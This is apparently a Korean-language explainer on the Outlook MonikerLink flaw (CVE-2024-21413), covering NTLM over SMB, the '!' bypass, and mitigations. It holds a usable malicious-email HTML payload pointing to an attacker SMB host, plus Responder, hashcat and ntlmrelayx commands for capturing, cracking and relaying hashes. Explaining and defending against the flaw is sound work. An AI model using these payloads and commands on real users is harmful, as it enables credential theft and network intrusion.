개요
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2024-21413 |
| 별칭 | MonikerLink |
| CVSS 점수 | 9.8 (Critical) |
| 영향 제품 | Microsoft Outlook (여러 버전) |
| 취약점 유형 | NTLM 자격증명 탈취 → 잠재적 RCE |
| 인증 필요 | ❌ (이메일 열기만으로 트리거) |
| 발견 | Check Point, 2024년 2월 |
| 패치 | 2024년 2월 Patch Tuesday |
기본 원리: NTLM 인증과 SMB
Windows NTLM 인증 흐름
Windows 네트워크 인증에는 NTLM(NT LAN Manager) 프로토콜이 사용된다. 특히 SMB(파일 공유, 포트 445)에 연결할 때 자동으로 NTLM 인증이 시도된다.
NTLM 인증 흐름 (Challenge-Response):
클라이언트 → 서버: NEGOTIATE (인증 시작)
서버 → 클라이언트: CHALLENGE (8바이트 랜덤값)
클라이언트 → 서버: AUTHENTICATE
= HMAC-MD5(NT_HASH, Challenge + 기타 데이터) = Net-NTLMv2 해시
Net-NTLMv2 해시 특성:
- 비밀번호 평문 없이 NT 해시만으로 계산됨
- 서버로 전송되는 해시가 매번 다름 (Challenge가 달라서)
- Pass-the-Hash에 직접 사용 불가 (Net-NTLMv2는 PtH 안 됨)
- 오프라인 크래킹 가능 (hashcat -m 5600)
중요: Windows는 SMB 서버에 연결할 때 사용자가 클릭하지 않아도
자동으로 NTLM 인증을 시도한다.
UNC 경로와 SMB 자동 인증
UNC(Universal Naming Convention) 경로:
\\SERVER\SHARE\FILE
예: \\192.168.1.1\C$\Windows\system.ini
Windows가 UNC 경로를 접근하려 할 때:
1. TCP 445 포트로 SMB 연결 시도
2. NTLM 인증 자동 수행 (사용자 알림 없음!)
3. 서버가 악의적이면 Net-NTLMv2 해시를 캡처할 수 있음
Responder 도구: 이 원리를 이용해 SMB/HTTP/DNS 서버를 열어
NTLM 인증 해시를 수집하는 도구
취약점 원리: MonikerLink
Outlook의 보안 조치
Outlook은 이메일 내 위험한 링크를 자동으로 차단한다.
차단되는 것:
file:///\\attacker.com\share → 차단 (file:// 스키마 + UNC)
\\attacker.com\share → 차단 (순수 UNC 경로)
이유: 이런 링크를 클릭하면 Windows가 SMB 연결을 시도하므로
NTLM 해시가 유출될 수 있음
! 문자를 이용한 우회 (MonikerLink)
Windows OLE/COM 시스템에서 ! 문자는 특별한 의미를 가진다. Moniker(모니커)는 COM 객체를 식별하는 이름이며, ! 는 모니커 경로에서 구분자 역할을 한다.
file:///\\attacker.com\share → Outlook이 차단
file:///\\attacker.com\share\!doc → !! Outlook이 차단하지 않음 !!
이유: ! 문자 뒤에 오는 부분이 OLE 모니커 활성화 경로로 해석되어
Outlook의 보안 검사 코드 경로를 우회함
공격 흐름:
1. 이메일 본문에 숨겨진 MonikerLink 삽입:
<img src="file:///\\attacker.com\share\!logo.png" width="1" height="1">
(1x1 픽셀 이미지 → 사용자 눈에 안 보임)
2. 피해자가 이메일을 열거나 미리보기 창에서 볼 때
Outlook이 이미지를 자동으로 로드하려 시도
3. Windows가 \\attacker.com\share에 SMB 연결 시도
4. SMB 연결 중 NTLM 인증 자동 수행
→ 피해자의 Net-NTLMv2 해시가 공격자 서버에 전송됨
공격 설정
# Responder 설치 및 실행 (공격자 서버)
# pip install responder
sudo responder -I eth0 -wrf
# -I eth0: 네트워크 인터페이스
# -w: WPAD 프록시 서버 활성화
# -r: NBT-NS 응답 활성화
# -f: 핑거프린팅
# Responder가 SMB 서버를 열고 연결을 기다림
# NTLM 인증 해시를 자동으로 캡처
<!-- 악성 이메일 HTML -->
<html>
<body>
<!-- 1x1 픽셀 이미지 — 사용자에게 보이지 않음 -->
<img src="file:///\\192.168.1.100\share\!image.png" width="1" height="1">
<!-- 또는 -->
<a href="file:///\\192.168.1.100\C$\!document">클릭하세요</a>
</body>
</html>
Responder 출력 (해시 캡처):
[SMB] NTLMv2-SSP Client : 192.168.10.50
[SMB] NTLMv2-SSP Username : COMPANY\john.doe
[SMB] NTLMv2-SSP Hash : john.doe::COMPANY:aabbccdd11223344:ABCDEF1234567890...:...
탈취한 해시 활용
# 방법 1: 오프라인 크래킹 (hashcat)
# Net-NTLMv2는 -m 5600
hashcat -m 5600 captured_ntlmv2.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 captured_ntlmv2.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
# 크래킹 성공 시: 평문 비밀번호 획득 → 직접 로그인 가능
# 방법 2: NTLM Relay 공격 (더 강력)
# Net-NTLMv2를 크래킹하지 않고 다른 서버로 중계(relay)
# 단, 같은 서버에 relay는 불가 (MS08-068 패치로 차단)
# Responder: 해시만 캡처 (SMB 서버 역할, relay 없음)
sudo responder -I eth0 -A # 분석 모드 (relay 시 함께 사용)
# ntlmrelayx: NTLM 해시를 다른 서버로 중계
sudo impacket-ntlmrelayx \
-t smb://192.168.1.100 \ # 중계 대상 서버
--smb2support \
-i # 인터랙티브 쉘 모드
# 결과: 피해자의 NTLM 인증을 192.168.1.100에 중계
# → 피해자 권한으로 파일 공유 접근 또는 명령 실행
Preview Pane의 위험성
이 취약점이 특히 위험한 이유:
사용자 행동 단계별 위험:
이메일 수신만 → 안전 (아직 처리 없음)
미리보기 창 표시 → ⚠️ 위험! (Outlook이 HTML 자동 렌더링)
이메일 클릭해서 열기 → ⚠️ 위험!
링크/첨부 클릭 → 보통 취약점에서 요구하는 단계
CVE-2024-21413은 미리보기 창만으로도 트리거됨
→ 피해자가 아무것도 클릭하지 않아도 해시가 유출됨
→ "Zero-click" 공격으로 분류
대응 방법
# 1. 즉시 패치
# 2024년 2월 Patch Tuesday Windows Update 적용
# KB5034763 또는 관련 보안 업데이트 확인
# 2. SMB 아웃바운드 차단 (가장 효과적인 완화)
New-NetFirewallRule `
-DisplayName "Block Outbound SMB" `
-Direction Outbound `
-Protocol TCP `
-RemotePort 445 `
-Action Block
# 3. NTLM 인증 제한 (Kerberos 강제)
# 그룹 정책: 컴퓨터 구성 → Windows 설정 → 보안 설정 → 로컬 정책 → 보안 옵션
# "네트워크 보안: NTLM 제한 - 원격 서버에 나가는 NTLM 트래픽 거부"
# 4. Outlook Protected View 설정
# 파일 → 옵션 → 트러스트 센터 → 트러스트 센터 설정 → Protected View
# → 모든 외부 콘텐츠에 대해 Protected View 활성화
교훈
1. Zero-click 취약점의 심각성
- 사용자가 아무것도 하지 않아도 자격증명 유출 가능
- 이메일 클라이언트의 "미리보기 기능"이 공격 벡터가 됨
- 이메일 HTML 렌더링은 신뢰할 수 없는 콘텐츠 실행
2. NTLM 해시 유출의 파급 효과
- 직접 Pass-the-Hash는 불가능하지만 크래킹 가능
- NTLM Relay로 크래킹 없이도 자격증명 악용 가능
- 내부망에서 SMB 445 아웃바운드 차단이 필수
3. 방어 심층화(Defense in Depth)
- 패치 단독으로는 부족 → SMB 아웃바운드 차단 추가
- 이메일 보안 게이트웨이에서 외부 콘텐츠 참조 차단
- NTLM 대신 Kerberos 강제 사용 정책